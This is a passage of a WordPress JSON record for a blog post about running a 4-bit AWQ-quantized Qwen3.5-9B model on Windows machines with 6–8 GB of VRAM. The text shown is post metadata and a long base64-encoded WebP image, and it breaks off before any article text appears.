{"id":1592,"date":"2026-07-10T11:54:31","date_gmt":"2026-07-10T11:54:31","guid":{"rendered":"https:\/\/functional48.com\/?p=1592"},"modified":"2026-07-10T11:54:31","modified_gmt":"2026-07-10T11:54:31","slug":"qwen3-5-9b-awq-4bit-for-low-vram-6gb-8gb-windows","status":"publish","type":"post","link":"https:\/\/functional48.com\/index.php\/2026\/07\/10\/qwen3-5-9b-awq-4bit-for-low-vram-6gb-8gb-windows\/","title":{"rendered":"Qwen3.5-9B-AWQ-4bit For Low VRAM (6GB\/8GB) Windows"},"content":{"rendered":"<p><img src=\"data:image\/webp;base64,UklGRhRHAABXRUJQVlA4IAhHAADQJAGdASrxAUMBPjEYiUOiIaYkJxJqYMAGCU3bn\/e\/cIKp0YB4aPY1kUSQ\/7PrtY\/93ftPzE\/vfve8d9z\/ujyP\/gf2+++L+B4N\/Df8PzZ+jP99+cH+y+XX+y\/7v+k91X53\/3H9z\/fD6BP1a\/1f+e\/Ir6Q\/8D9lvfD\/hf95\/2v2u+BX9G\/w3\/a\/yH7\/\/\/D6sf+Z+zHvG\/y35K\/AN\/af7R\/8Pby9U30C\/3G\/+vtAf9f9yP+Z8r\/9U\/3f7i\/At\/OP8p\/8v9t\/xfgA\/+vtgfwDpp+XX9u73P8R+SH9p6dD2P\/s3z3V1+SJ8z+4v5D++8fPAL\/Gf5z\/fv7H+yn+D\/ezoSJxPUU92vrH+O\/vH7q\/1T5BqAOQF+tX+a5S\/1X2Bv6F\/Zv+h\/c\/Y2\/3P8\/\/lfXH9Wf9H\/UfAp\/MP6x\/tf8B+U3zs+0L9vvaT\/dIPVFkG2Y0wy1nqfllIcxEwrwALMCzUbGtBu8LXv\/e9usldDUt7aFEhR\/+Gwa4RKc116Vrk8A2A4fMxCytjPLfmzBS8Qd4shesYh+IcF4ta1s6Ui+43FN9+Vc\/++AiF\/Y5H7f+RuLJgOnoCnOoSBy96sF0UdK2xJQtO0ivOGeqQ3z2HhEmU6NAyFsKleZYS6ILLv4wkjYhIKB9l4Ej5LBYqWPIUAHqa1598smwtx0GCWg\/KHBQjIDeT9p6ISZxhBPojkNRArECRuoxJhNNuNLd1nPn4nyt\/CUZxOsAp1foOH\/qS1T8Lyh0GwX3cUYn2kZItTx+9xEjUfDMUY\/SQiH0RwxlLF+9wBAasgHysr+1RBsht3Nb58UHgbcn5RoWtZ4kYz7BuVaXCdSq9HRg4KDbkebTuNQ14xTJCSuWkCFW6Wr4gRyQqe2y0qYD9CKxYRTmf7QRFQuCZQm2yEW2kdX4RimsRPkxb04d8HhH3HkkIHpTnogujl5Uk8lxuOJy74KoKDmcLe2zV+5rNlfKPfmgzpeBSV3OswMSPq1y9y1gbTpOrMbcN4F2Dis3echxiMNriKIy90gFWPxg3Yru8h3mUOeW1CSQkiNfZ\/FTRy70q3vHRtmQPrDvwz7ig2CcqiJMWeXiEf73SfbaYqVtLfNd9RHDT11Fli3JxpTYcKWcglSviOZv\/nJHazUtp2DNhJlPccFFb3t4Eny2Po45j9aFebPSQpDci08DYmNO\/tabpMDzbx33LdC0aCIGjdr72B3LvC4+y\/P1KDUk7YnUWVfRaI1laqE8iDOmRicJIGM9jDIzN9\/W66gbEDejhh6yWt\/CdjnUTv\/fsJkXrxYufKvKJ4S4vav\/dWykKsIEhloXfkUtrlBWpn53v4z\/RSLmWwrxE6fJJCGACLQRHafGyoSVwfwm8i6VhGfRQVbnyYfal6rAs8bQVk\/R9ImV3TtNolD+ju6kh6S68\/7THrAaiSLe+uRox+SElRTe0G95YJ3xzjVAVN8k60qPZbR+iaHWzfn6HI5p9ZakWL86foJdQ43+ZrMVW6bhyhssb47csqoiZMa4pa9rt\/HdIdk18QF\/y8Aa7H3acnXDSIzdFVPWakZzJqOsn\/FGRA71EtM4VpgUA6Cpt9CvyRnaJ8+jhOZB6NDB\/12POUH\/Y+d6sFkPoMm6NVqsCj67OUcu53DfpoYt+nb+OTeDOQ1ye3Nz6F48Sinbsw3N\/6eFHmN3+1gpNF34NEL7zmB78PZjTGX7vAvK6ZvU8X\/2UeZidv9NGreaXZdZ61GQLxTF3bwldMKnu1WHCkqzCzHr0\/iCne8HPA28dHAe9dwtOfJwQs9YTs2Gfj\/8Y0rnq\/KEb0T0liv3THHboN3a98PiWnLCRyHfUD49rnSSoTUDrawiUTnYpBX5FILlP\/nRaQUiOa5X5+4rugin\/V3AuOG+we8Mf8yWeMBZnM10WwcNmGddCg0hhJMxaTSuUb7qh0AN1pbjYcGGaFNUBVh1pMzuEpfOaO+jblL4J64dQPkVzW5BalThMGOfDo7YnGr7MVojMt3UQIA3+7a6GnkfMf6TW2ISA6cH0HTCm1kcKGJrULqMPZiGjgZI\/Rivnt4ouyJFSxJj+R4o+vOSHTA2jqXZsQl4t5WWWA5S\/uqKnW23y+DVvpD1aUQJ\/9sCzjagYQczZS7u4Wf+hWTDC6YtCskOiG6onLkm2J+P8xgZlCBgU1CkSL5hmo+SZVLrWxxwesbS3yth7XW9giAW4FbMG5\/cJwkGai4bwVuQbxf6o9C1sBHTIZEyfxgdDByPLXrFaSotPBTlZ8kyI7haK\/Ys7LjVowoz5EgaRBCqOW8QKtXJ08TJ1zsnwstEgBLVLZ00v7NHzo8jmSemQNkkCUxnpzAvavNRO88+ncQxF5WNa9D0Cko+DJYCo\/9p1p42KK35AE40EfOd\/2Pkx5SxqggrXJL\/KoqmqhwG8u+E\/8sSn\/so82Y3t0lf+pXK794JFUIQzFg3hDWAO2somN9N+AYK\/\/1ZkP4zm9x5WWE4YjQc2Op3rywR+vmk\/FDoLHB9ARUOzysilvygB7\/9nGTPdqDJOuYIv1i\/iDev1++zD9mcG\/1ayCEtiy9YHNgXe\/t72OKqVHpgKmmr8uElJ7lj+rKRWPqAKMSgXd\/aKZpi166+uKlRYGecdwondjbPYGZn92PWI7hY4zr9BuaS503lg+jnfJfDJPEPhBURTVcCjqe\/Uja9mF097pwGS85gbzJWUE8KaFUrL\/w+hmg1p6SpA5iYGF4H+eWZkLO4ctnNYAK\/60ULpR4LMdYb3JYvXU3uvh3IHXGhkYwkDLu+LEj2vlTxV7l10LXhq7GwYFg+QThUnoxYgdYxtT0yyw24XgEY9XKU5MZdNYFUHsIVoyTmP6DfEAx\/6hAP59z++8iVSAZfiaEHbKOYLV1Ici++dKWNmrc4AmUi5lgJoDmlhVly83gspQY59OY5LLQGjYIgL1S3wo1Oy1GfsR\/+JIPKTogWPoajShrJz8ZbNgoVKOXU9HWP5B\/rao4+JyoX1KAwekcNtc16IVRGkgGP1UVoKvPnsjnBQHea92+dFJaQyQ\/fikZ2mJXSCnrHnasafdkpfH4f+fgxuEJlLl+ZZhjqrvfoRai\/8NWUNgUV0J\/C01LmeMh8iTF21O8973ZHsdO8CdB\/GBRYBvpzTQAME6xSZMj1cvULuNW9+AD+\/wbFunk9NJTR2uhdUTTk7jkJsW6lES5mxaz\/JMej7tlYd6uQUczY+C7xqVZouqL0i1GfoXyJ5edbfNNQ+sqh8aAsjDEbzTU24xS4K9vVyz+8IXjZK3+uShEDFqxqiJJtdpESglFQqG0JJto5KKi3OLv1bunQxHDP3F0e6ZAbsG\/tWOc1MK2ozQQTD1Kr\/BLMpi89phe5k\/BOaMWFPpk\/kWuzkdbT37cHxehcj2MTwiZhnn3SapbUub8wN192XComRBY0Q6EvqfrwieeUbbE2Uy1UKaDOHByyl90f70jHXyRX5dkuhVB6OA9hW6ugG6U6nmqVNPDvdZQT4duamecnvvCoIWoypm1nkhKkhrg3cbulOD5q\/hUXkg1qaodvHrMcZJWSJHRKtzg1VS9g30A+Smobc1BUHM01c+AbAh4Dg8i8QMGk18O57fjqHVxnm\/dZ3wZ6ewJ2MLdAR\/IUASKXvU0KxSbz9cQOSRkpFCidUhFRlICNTR7ysj1hy3rirx9diOH2AnQoCYFnO9Eph7rY7iWgSSfWjTPzlJ1+3tYnvtT0Zid3s\/+fx6vwZ7KdOr8WaR\/JpLK7fouU1NlawMoit5qNu9gW8DXFFbXV9eLLisGF7ynHYk51Wtup7SVVWfo8qdBs46AStpJxWocIt1EE5iea9m4dPealheTRekvCdo076tCvvRVfDGI\/JRAsjPGm+dqr8Cy6iU2VURb2BE0PCucp626\/dsSN1riWYnkl5BdbpTDXp\/Cn9rPDgmacMS1SlcuVCLqpg\/\/riaL7EDUzq+OVkyKEImqF5rGvaxYv+OGqh4twb8JWAUG\/n1YGcFLfKh9smXVfpNC9w\/vNPunkbULBDZ\/JjJsC0HzZiq4wjT9lL62mzf42q54JEMh1nyuupRF3ju0SNZw4lpeDoH5sJHodfQMavr2OO7rZIhmzFT\/t\/CvasouHKgXPwa2gy2HqcrXMfq7rUsGfRvf8MTKWa34l7AsclVm8qbky9kwwtmlWBtFMzG3av24N2YhtzAei6JviTF\/bp66Kv\/\/9qKO2IP1gmUNMCBB6Btp9Gx3iGwoG06rLlI270Wh\/r7ffHqFdwXkgSlnUnKN0oJUQ99lIE+Ti856CO09gfsGgWoqfhSsVLjE1bW8sYtji8AAjJYvxkPutG3t221v5oasCGb7ZWijQx2XSXksnpkHh\/ophi9NXKT1cpPrUYdhVsoDRgc2L63Yx6KwtP8GWoPSZ\/wMO8qP6FN8I4Mk+x9cqv4Gb\/\/mnOc6d4qL1p1E57xcbBVNW3gmmP7gN+LdnnQekQK6s1V6S6pxClnSsyld6umKhHXopVpOOHWuHEoBgv6RLG7PHnKw+uuB9iCJys\/1mxpujCp7fUPtMVdtX6psID4U7vJLpLEKMA7VrFjrWo1OZKUuQ1k5DOCkBxeHV+Y66YTjVip6AUFt7TTog60uCUikHMW+1MHmDCqX9EZiQhG3HcY20nOoFpQqE1zxWgtrOORUtdwRnZU8KVu66aMNGvVITC7P71+rxDA5ItZ3Rehrok8beNININfVOtDdutqGEc5PcE+uMgZK5ZGO99+ywsRiAJTcyeNMfH+zZg4vk3gYuDTpGwls5w7vOY079NmtAHpDf6vTs8GEy+o85JbCwaHvWsmmHTvKkaEn9mRN0Z1Wdzk8sValpDIpJnMkdZ4xFnrh2ZhottgJMszncHD5gJ1yWrjjY8qaXn94ua+04xH8dR7RrA1F\/BlGS8jg3ky4NzyC1rX8\/7tnZnkVcRT3xiFl+P9sNvQjXBvMErj+eqFxPbKk\/SryjK\/D8nbuweSf4dTn6h3+HySQzfd3PRrv4\/fE3\/kQpt8OVrboZVNOLhABNmt+z9VJZqxz7oLkiwfOlD9vKeQvc8Ecbs05vq5Rbqu4IrtYSL9m\/A4nPzWUVb4AFSQsDkn5wEnpba1FqofFKcEkjPjcJVDbWlQeP5j9uTNGbKRF3wjYZOuTa+qb6lGBydanYnyUJ90uMGwttvwbWQQt+Snq5fuk7HVcaXhxXG5lHcawry8t+lIzrJmND7ijVTFHcjdyKnZ8fn4jR5ggwurXYhykWHB\/my1qEQfqlnHMCVx1PZfS\/tF1u0Sh\/jIaHPTop4VX5ZD3VMSHxkABJCUBOM3i4MUcTj4pFwkNGwhf0xUPAu5blOeNsCZZH+LnVrY4Y0PCtcTF0Wpyc3tNbMqZysHSatUFDCYVliowGmq\/aQGb+l7sjJmzptkZY2cMvQT\/QSqsHNo94Y8nNyrJdJ2GpEg+GUirClW+b8+le2XpoRB\/+Ru9iUr1Tb\/FhaHU9kT5hmIOfXQilitoWSBzNdNpDAVi6t0SbBJQSOXXLK6kwyECE\/Qj5ONKwdRe9D\/g6magj5iCToyyT1tZh2nBqHttTBtL\/0Gd16M4ikbNB8IddKOQ9I0TMXJ\/3jBR+2PfAfljYQx9cC2i+0Qlx97AhekWXtX7fxqrw2lgANYH+QZb\/GrKn83JC+jIN7SguwOLeiv05MFFenDV809AokmG+3ldKwRYL3lBtrVzHW2AkgdvGZxrSlCfbrLFmP70ihp9r7S\/zvcYypn\/zC4DMU9qkqWsAOBXoosfKvAdWc0\/UZcvX8n7RpaQO++BK1+TCoBB75GzXSIj+jg1RDCg0BC7u0MQxYagxlws7t1EIT2l1EZvrctZORfBpZ8DLW5vHagGCR9rbDnwOg2t0ZA2LzGu2etdrXpuZblwUH7n8+9uGffJwLma1kBHb3q3XOx6\/dhPMTf6xHW6SgDj8g7p7ENkqgmWe8kX7urqsJCff+aAcRIH9BP+QZ0gf9TrCyTH27NLtKvWf+rUhQwYl99D5m\/VaTiItOOLut3b3UhlJviDUaT+\/MS\/IU5ZVsbw\/LbntOE7xEH6aguwBuKe4plQp\/6owiRyUcoHwj8mlgsxRe7SWiIOS2Auhuyu8cr5pKb7\/oDjrsHZcCWA9Sk2DIg6MCr4umzIxtESM27r4HqBA96kf9t\/Dhx0Jvif+v7nPDxjsw8W\/GtmEGHDQTPA\/UVhBq1M6WTb4aSH33Yq3sNlpvDm0AR5A\/cI0xDX0ncX4PhASNBSg+jjs90KZN\/5lXmdgRi+jPKPJMoT0XFtvxsMh1JDqjRd8kqUzrTgDtalvNqkIsrb2Vtoc8r62nKOqHGgb4QIpFNPyuoixJDAVtkDA3FMaVaXxTg1GcrfDM41jrNIG8QFUzMUA\/Xe7xPCOEGY6l67K9ptF5RrUiNjq4VtPYFMfQKWN3\/4Ard1ZG9qo1WW6lyvMJ2yaJ2hd9Xx+irHs6T6sjafQfAgo3ta0Ilz+nA3IxPSkLWeUheC6TDA1bcrFi5rB\/4xIYmCC7vW4toaVAgYJVU6Rygh1nkIw2oXyXdnR90szkaDTJaw5T9HVTuh\/qpDUFNpQ5nx30Qi\/+UnJzHtnhfukqdu4OMWZjp+VY92IZSTmsKjmW9MV5sBMMN\/jLhpwj9ZPfKVGZcKHonXfGRgaeEp34zZF4+7U1+4VCqoPpjyc8zbFsNY1wWd3RJ29tal7AQzQxWIJwOMS4LM4d2v+qQ+6zrYT0DEgzhKUBNqTS4oOhEM6NXY\/IR5Df96QmByCv+0fOoXbd9BaRXyMntxmhJmh7+A3wRMk6bPHKli+fXfXFyWmq3MRacc18Tu7\/YfCaREMH5ZEzKsexqupRHr\/sRb3u6qUosBMPpK3+6NF+wChV9xsU9kvZLRPcePTqXvWHSr0sNX2uy\/JIrc9KHUYT3Z5umtMOZGm7\/rVKpSJzU2iTQX4+zd+k74\/JWOnWIf+pRptsC5kz+ggwwIH63n\/7mjrMqfXq\/DY28AVGzEWmcydHloop1kfpuH6b99KaSzqIVPGXKO7Odrb3mI7WLq1sV7GtMmQQdVpeJ2QRpmXxMI1A3\/ZU2ir91qFcm6WPdOx5de92wJ8yR1r55qpAmZA0TTw02phLUKcixRgLfF+sFXOCfSfPpjdtbPN9cW1mbIOmzXAZjH+VhgnGmbZ7hK+35WAYvl+yICJeOyJkeKNZhHiWnlNgpnpElhTkHsFVcLm\/+A9RX4ztCvmT0dh99MlBLaO0Z0mvJS5pRfoUqCODiRv8+ALzAS4e8fuTK5wUAg4s2jcEp1xOOIpfy7t1LSYKWdRBOSd825t3n5NT8rI4t+TjUJotosk4CEijOZVphgANZFhkByYlmhKEhdl9va75num8hW1hJPk0ZfWTFgMhpa+irYCPj\/GOuzkC4h6iNx1f01ZuZv4a1nDuRUkpPPHoY0KFKBOWgXHg4zzfb\/C5GywN6cXRaZV7aObvr4l9a3mJnmKHv\/c70Hoa9CKba3vOgFJDu1s4mvIGwdt+\/IE7MpvA8+iUkF4VBfTaEt+dxNmpnuFwgo8i+uvkNMZdewHmqEBGQZqnCH+4tT6Yk3MVjpbWUNrxH5M5q586wgFd8pEPniUNVzBISf1zjZAeuQ85m3YrWNcN4hNOllc1TfoCpGmo\/q2+f+5mKwMjaPqWvOKspTUDUApEDi3dySNKmhL1ssI+n4SftVr8qx6\/N0wRDRdYEwTeXdG90P\/YFubdXIA0vWxAM8J1bjYRUJdLWLC7q0pg3cbKCnhCO8hJOonCPrkH4vwyD9Dp4tM2tlzdI38Pq2RwcX+y3ZI0xhu3r81B2hk4XfnOd3tiQ3dUu\/hrOTTfo+VqU5pRX3AvP9qLHmzrCHi02HX9OUCXvMtEVuJl+sZ3acWqj1gHuycWw29J3phWQWsK7aUxt5lDxVwlTZ8Yd5HQOeLh1uEbv5o5MyZ2YiT5Ig50+aMqZpuJRqY\/tmnzPNNQQlyuT\/eRgwBoAjkn\/ey1yzLG226iB\/lE0Op8avbgTc5Kvz7iIUB\/mZdDP4\/G3u3Nmd9vmv1ieCl1wOgZs1gPU0S+lbPPm6NHjenWMzrdD4+BBOc\/NEumrqa+5xWp\/9YGj692gqUHsvlTiM3wIzyyvb2nej+uJK\/VA3+syHJNsaDrUmW7QDIjHs1w42NN9oQfyC77YrIDNaOTuDb0DYyelyHx5zKA\/zg95+KW16aJbUaTkzbJWnSDBpaZSGnvT1vDMAMk73EdZeXmO6xbuUnfiTUK60Fix56IgBw0f46zOc8h5k3N1xaiCGo7+XzYoFCqb6Cl\/4RTBz0BtvYwzh9jlgfoFgGVP8yH6gtWjsalcicD+KwHqjO9+XRK0IdBFF3Qsb1wnY4x\/L2xN\/pHC9gayB1W2Je3s392h49x0+p0QzFhsJ9CBr4I2qg6lr4qyS2Nl5BgQpqIGZfkzTW2d5fY7TF2EaqWDkHhULaOBsKCxBIggCRlR9CCVT2+1UYOGfpUfqSDM0LtdvGriYWbnspSW8h2IYK3vujUWlxdB614mJVmFKkOiSrBZWQ0\/kHbtbEUBoU2+4hcsOgJEuX2YO7OLOX2al7U1uZSw5UV8kqDe5\/JsP3ZPVrk4fzoSVsFqFagXqC99cCQ9J3MTsXomJjTK8x2gahCa\/H\/LhoHoFcg5PyoBYbHK2WxVeZJOv77aw1m8DrkBgXDUXQN+H7mMjRNi9bCpALEmVdwssw7zpz2bUMcjZoINfZyoHET9Gr9TZtXQIIzIWrW39SFhENHjybZlSotCF1C+nHjEHs3dKucfvRHlDmC\/pC\/OWNXZKSHew9E1KDDUZRVkGyDay4\/\/p86VKk7\/gWnc787zVH7OYC\/KVsQPHlOTGRNLfFQpSlyDwYrmZNz\/qzU\/RlB7CVEkJ9gJx4UadaE382wurKAsQ9Gk6RC3cN225KviYwqv9A2cVqZieNUd0c+lqqtpX0sTHROSmtj53bekFRm\/fPgngowbIK0Oj6MBUhNhk0QHXf1OY0m1hPNta4v82619t60gFCmqR7c86eTOP+lQdZ\/AgAE7RHAMHVF3xZOGW9scyN8BIZ9R7Us9Tjpm\/0EzG5BokwZJv2jKkRlieZtNw\/Z\/QHNums+FaZyspXKSKkM3E3KCXZlsge+lSGNnX3\/gBLY4EkULEXPzGRKlHpXAlKLp0Q7bVv7Kr81qEwr92bG1191gUzOmy1RVCz0ls6SYL7mRGm9Fpk2X0SKtXWN\/ronsSLf8FUD+YK7Twjg4lKgBqK3Id5M55W0NK0uPtHpwIOnJO9Wv0pt8gysFodcEahql9rb6CGP+28hnPKHtJHq2Jh3Zom3ae624PtxiaJzH4zqJCxmcTAAy9F\/ebd78cvtq7I5EloCLg96iB7OiIpUrRpd3r6JRU6kkn\/K\/zWTsgpE30QrVo01TAfzZxtbAXoa4sUciSlUJpE+OxTLk0idxlLhqwbEdXgknP1FUgbfm6EsWoY76B5xG+lp1jWSUM7dcCZvsu6vdw4aF+iX9Haq0s2VTDUOExesIPkOio5GYvZNUoljlcCMcg2+ax7HlAcEhJPbznvhRL0NL4E5\/WvEVZKSukE5BMCyPtGFlHsA3S9mLgUpoQvBdevOjynNWjBZQF3ejYX8SbZiKnD11j0ln0KIFkG+LQxxxCMa0bxM2K\/OZHN4Pemxzgob1sd0WKQdldzrZv3m\/5zbfdok3cu63ytfhKl4qnj07ZKf\/wvbvANzX1ap9bhbt\/bV8uw3g53Q6e6EHjiXlMX5mvp1hIxJQVfHqxg1Y7S\/4V234DIHQA9mOrBwhHtaMbf8chePdhd+bLAGPdwtIsPG+bd9u7F\/mTLELuiWAQINludOdEYo2WB9w1f2uC5p5zDJxy0aasLqEIyrH01PFD5N\/U5ZgkFJw5JytbYznnarE0SvyPPR7tA7d+90QNvE5MhqnN9pX\/bELQUZt6kfmEyQbXYP+z+Gh3cNADbTCeOzCEem8ncPko+XRWskRdN+zn304hzxaeV62r0Z4ktkz6Z6JQIB6PLQghduwf7H8lTJwjVbdsqdep1CHEMEqRLnzR6EdhUCKRbN+xHk2kR0coxbBSpt3IBJGNWc99kBPOWEqWOW5s7nS1YHMctMJaMTFQY+BpeBi2+OHCew5JIkF7Wy2xWwnKBw5emGC\/GF8Z43isb5OGR\/JWR3Z89icOyLUxY3p3t6XnLflcONO+i\/9TggCiKL0nrk9rILWNqIX0uZNYAcdUeH5djE\/xK71\/3KDbWpeBvVmrG3Kq\/DLMlrtraBI3kLs9WlQETdRrCvfrOlMxmSEaWDiM2q+y6rWaZcifB9zd1U5ZRZ6+HJtARk\/ZgU+xfBwsw2LuPH1AfA0md4ZSjCwNJfUPEp5c8zc3tjtzxw2BMqTZj57sLqcGmyTJfR5oqXG6UpVcSz3wczrVE11uK52ofmatwr2Y75m+N30xCguwSMBOJB5lhNWmhxQa39KDuKq8pQ64Md7XpXtlX\/mU5uavuaCSgqhHUfzCdGmvh2LfVJJsnOi3KLMKBPyIRN7XpeLzp8EkkJ5o\/26doOB1ImdWn4rAVJOingPoRRXw77SFyJv9iB\/psnwg1cZj\/GwxGiy5mNsRWi05A4Ihcdw85bgbvL+R2RqeYvtrbeXIhVaxzvLDVwYIMnWLQS8GhLPAftwfOsXMC9+5M4V\/dLgciOC\/uGKTjL20FFYr8ES30xlgalMKRp7SkQhfmYmPHEbiu0EQVK97AKXPrz\/Wg\/eOZUpt5IX8AP\/BJsZln2XTdAH1D4wc4WhpaGUr+5Ph6XvRcq+wma8h8u8Z9UdsrckWCknqe8JZvhZdcdRJdWEMjWV7Yl9OEhgwjP02+dkpGUyvwMqdYlEPuhgMrrUMzVIc0rbTSA3EfqbNxSJq8zaDHAAcYBN0cJq+h5F96SmWbSjxvzOjWjn\/pF2fL9Gxv\/ZEGhdo4CZ1OdVbzayMjR90GHxVBrFBLmziCc+gBqJyqtookanjRUGDamm\/pE2VfGoxKyNivOnD8zxxbH1rXmSM8mc2nYTRA678fGOtYyOf\/x2dMxOoF0uOTUjhqzV68Nzy8SiRfijPOW6S\/fx0782XD++ZbD+gPiSKt6P\/Zxdcv+u3qYT6QjBQJhwLa3qCFmjbK3hxdtGits9dv0ADSv2tgcHrvKvf5zP9u3oUux7A8TFDDrjuiRV0U\/CWsMTzJ1e9Xx4tZwXKCk0KoztjzCFgvnkPQhKzUrjxSNMzqK2uTD63RYZCPTLUMJcmmOuIzXrZ\/Cp0fdR2mQ6tlwLYZs7S8cOF2MexcY\/ppFP9O9JWVEd0jVtkljke6wQ7vP2gPSKlEwnZR9YiFLqht3tTzywccBrCZlY0A1KeyxyZvZbtUotYljAzeMa9af43FLu5z+5RbkdwqjGVO+vHD5IYlIF9sxmGfqou0HKnm3\/n+VqqlHQSt4lzjVQ6f8o+MqBeY1raRu56rX4REkglQypqb\/4Xt+Uu7JR7FVmbFocHFLV1FqEzHLwGAHgFGqvpsqyvvdrDH8TMnd9vsT2X3mmlO+my3I0XwU5BR7c09sJvLkQOASYJr7DBOZj+Qy8nfpMYq6VRdYQ1+5qtILpdKmRAkhtIII0PiiSawvbA\/eJ0EwAFohaVJa0p\/Cm6HeQT8I538OVv8ZApIA\/q7xUJkB\/8VHjRwupBrJyxgdftx2tfNajmQrH6qUaIWg\/68d4Jg8r4KQVluIT4w5xfaZujLKdf+Dq28Zf0VEMUkJnrmkQ3xf8A5riWJUtUzOBYhebJhp7Ptylcw7YViDD4Qlog0ZnlIfikACTOGglgMDesDyjSevCqV\/4epGnO1QCA0QK14tAiMsvChsdAV+7eRmt37t5JewllYo3KOhYFF43\/MqvaJt7tV3vpnBgFSKKsFJgVJnjUt4CCTpmdip9mqJhxT\/ptEb1z2Xj+dPfk\/AG8imq4KBmiTo81rCcmPwNPGYMwjwEi9b0xS317JdCmjuRAd+y4KTNqlSAJoxMxJWIkMXIkngiUBdrAawrZ5kR5UtqI+DnbkLp0EGws1xhAzg1VNc\/Jpl8WNPABJ\/l4UNAIJ92ABeivNhLeU\/gnM5LidyGYAzIsLPuIOKk8mIU64FcmXf9hkZbgY6+vSuQH+0HbujRsJxs+ONm\/+O8V1A5y1pWKJuc8LppEwukeglEyIZOQBU6CgCMXKVVoLRLUOOXkwfxeJwQlxOIKAKgD696cfSQQRyHWeqGY0aAA7PP8S1baIZA6nhmmFVUS6c0qqbyqdN0bUZN10TSUZtI5Qg77Nw3JkmjSiGo7\/Ig6QGKyYn7QhctmKxneLXkfeQ5J0rGkFJ3o1RzJmWoAO+rhJfLCysGgiXYIxv74VsYWrg1m15FtPuCrU7o5EwZdKbkf2GZuN3sUJGp4lM7IbSZpt7Gl7C9o23C7dnkwln06sB+ofD4pcdCSZkEfIM\/LodIFCWy6kpZ0ufLt4r\/mc+Jq7MDAx\/6FIFo\/BKh9SZ02hPMBhwO3fs\/\/1FSyISAyIhhtLCrL\/WiSNxkVCnMQkxEQybUgnWSIv+7Txxf2dAC7DzJjPqg21AMy1WgX2XmP5FvOY0q2Q9xYn0q5oXNpe35Ws0uJM6ee8S4PfwmGIqEoxWKyd644me1x3B\/YOE+rYXsYful7JPay6cFzP4NeHmtT5Fnkl0znq2RRj3mkgkMmgi+VnxSTkSP\/ayVcBdhEev46hL75aB9HeMlvUecfCkE2qXVlJ7wRBjXEvbeK7TG8em521oKkDCC\/n5cZ9ohLXrjbMgGxTFqSDo0TGDQeJk+7aF5lGzapsKDzzQw81k17sp7h4vemSTGKCjqs4elNNBxPV78EUQbgE+tAPrXo3JMfcyVIv2v8hQE8xkiCXBTBIWrtiQp9qq\/NiodbggLWApe16wnnanWRn5lRHm3ct2B0AuPFzOOZZ\/s9cUyU622oN82nC+lZcDMf\/kZkb6vTmug2Uuwl0BlZ\/fE15r1Jqzi6\/IgXZ7fLBByLl\/IVp7YjT5X+f0u\/2+STK7D+m+zsr4\/g2C7UbSU\/c\/+qiB3dYo9Ckry8cPA6CIT\/5q2h\/ECx0kjAVdtUt7P44TSdT5hCst\/VoMpIXEWEtdUDRHvN4W5NluBe9Y45Dos0wKGCpQ+Be3Oy\/pmU54yVrUkFIf9TH5YO2\/QTY\/ejF0D5mskDz3+iQhaAaAXwDxSKi+0DMCTuAdWE1EKOLiUDPEf9ZAZNGrgwxzYXlBoUKb6oys9b+++G\/eIY3UJstc9So8bP9+2U\/ORgfCTBXEq6dT+o8ILzheK63SrChGT1UPni2BQdxHQxjjZJxZvmK\/v8jS\/Vry20EFsG8aRSSJmMjFR7MKNwdmuZ+WHUG3MW+hshUTbdcB66KwC3Uokz4XhK2NQ9m1dqXbQ+crBv3JvXuhyJfrvga2opgd+4aBrw87BHEOpZHaaTBRSX5xyDK1AdpqhODY+IoLrpO+fSH6JSCKT+MR5ZpfYTd9BOQdTwCAGeTSrhgSsKRUg7RMoft6rCoGR0XjTZNU0CVx1ZqsjUhh5y5INJvCQopzn4KDZbtO7FoNteCBCSRBXTMNrjZqJONCbsUn60ONWZWBS\/N26bX3FVRPUtFnxdmZcRbr123onDuNT2aJ76obRueA2SDdB\/LJZviigzC66P46qhMwbRc7VZWfIfQTy2OpUFnl895QxcXnnffM1HOHqYueXry7rplMaiqVvstx3uTnvhJuEZdFW6Th7bTIEoQ0DruvODCE4MGsHnMMGNzhnEnwf0yRWH1jrYJ6ZJDTe43L9AT3b6b88TTCyqUB2mNcS3u88ehml04HoIoK9wyztU1jNQUJvqwN\/ZoQLSKBS\/pTAlV0edh5eUQebVuRWEmApKtLWS0LdNJTLEstH+QwJW\/VaeKStZO4WtXGZlRhC7TvKyf7WcjNhRW\/xjetso7iCnIM0PibrBP6pzDQwwCrWyqq4fdk79MCo3JS\/w1S3cqBpa2uWe0y5OBXXJYA6s\/yzfh\/AitMh7m1iE4QbKn0O37Px+U1ICu\/OCp7hfA6oJ6aUl9zqPCVAFJiZoYcUkNlfDNVn32oRJMfCclhWopzvyFtBUJs3vQHOqE6coAZQ99FWj01PdCRtQLoaQq7VF9VZD7+6VyTVM27ZUuA7zfAEzFrvtow26b7ELdMMoTsNdltWOpQHK6q3vRvQg1vXb1hBf0vHODeBTMftMI09qQbn1Bpru8T5rUTVZ0R2jUYNeUYcbboE\/cyteFh6zm9HGc8EHz+jcK6HidOjOx2z3mMC2MCfBcq7hb8PMnrgfngKwtZJTFpAzPKBPX+IX4FPdFJ6WtaJ2490yih6Hk5ehPkZPNRQstcqT5BzgOEbgkPCht5gv8oQkehFN0DFVvFEKcY86m7YgdnRVvwe0xXbLzojo9yiY8EY9UnJCsf+81USfwGW+DdpL5nxZMPOnVawHtoOvu73xdSH+2suYFRTdGxFpXhUcjRYvUzjAu+FQrDbGdMAbm+sF9bwTyUvRQNPTk3iGjOIuq2hq41FSBzCR\/eS\/DdVxrYKJqmFeEzQyPjeOG6xG\/cfYHId28X2PI6Ji3g+SshMNYgE2WAJvTTECwHgAFBMI5bULa0hYaKE49diXrSutQF0y8QATBksjG3fRXbIaScDqIjEmKQGwIC5Kv6\/HTthxCkD9QHocz0928Ro4K+YVofHM3fBBVdK7mPYF\/yGMPeWgAp8lgFUbNNe8JQyPO83LVnvLqBWxXCm5oOHztBe6nf4c1n9xRqKlv2ViS7PVQh6XZyXrZhBe3ucvMvLbd8DtT+JQdC85SYQfDiDJIazIc3CnUY9JaBB+QIN78xaREyjsaC01LKe31uVXlkJ7GhcUxY1RiMPacuZjbmiZ5Wa1+w4X9wC00Q8F\/jgU7NKcz9XJdsnwruev31ktuRPzlAiBP1og8QiafLC2jXAiDMCo0oimC12cegsUu7XdCoto1+HICaV4E\/uqVcowpaQoJjM6c8wkFcndm2XtniARkb2gcx+TZVql\/gMrDSG7N9LIdwDurDEIPKZo\/SIo3KkqMGfdJmHQsH16iu6nox26GMKLx5yoFxI15xlhZ3sBlXOkA4A6FUMv9zvbhKy10l85PhTN34iDGnvmOF0wjoIApzimUms3TbeS6B